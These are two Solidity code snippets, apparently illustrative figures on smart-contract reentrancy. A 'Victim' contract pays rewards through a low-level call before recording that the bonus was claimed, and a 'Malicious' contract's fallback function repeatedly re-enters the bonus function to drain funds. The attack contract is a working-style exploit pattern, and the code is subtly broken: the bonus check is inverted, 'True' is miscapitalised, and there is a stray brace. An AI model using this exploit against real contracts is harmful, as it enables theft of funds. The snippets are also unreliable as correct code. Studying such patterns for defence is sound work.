

```
1. contract Victim {
2.   ...
3.   function WithdrawReward(address recipient) external {
4.     uint amountToWithdraw = rewardsForA[recipient];
5.     ② rewardsForA[recipient] = 0;
6.     if(recipient.call.value(amountToWithdraw)() == false) { ③
7.       throw;
8.     }
9.   }
10.  function GetFirstWithdrawBonus(address recipient) external {
11.    if (claimedBonus[recipient] == false) {
12.      throw; ⑤
13.    }
14.    rewardsForA[recipient] += 100;
15.    WithdrawReward(recipient);
16.    claimedBonus[recipient] = True;
17.  }
18. }
```

```
1. contract Malicious {
2.   ...
3.   function Malicious() {
4.     _owner = msg.sender;
5.   }
6.   function attack(){
7.     vul.GetFirstWithdrawBonus(_owner);
8.   }
9.   function () payable {
10.    count++;
11.    if (count < 10)
12.      vul.GetFirstWithdrawBonus(_owner);
13.  }
14. }
15. }
```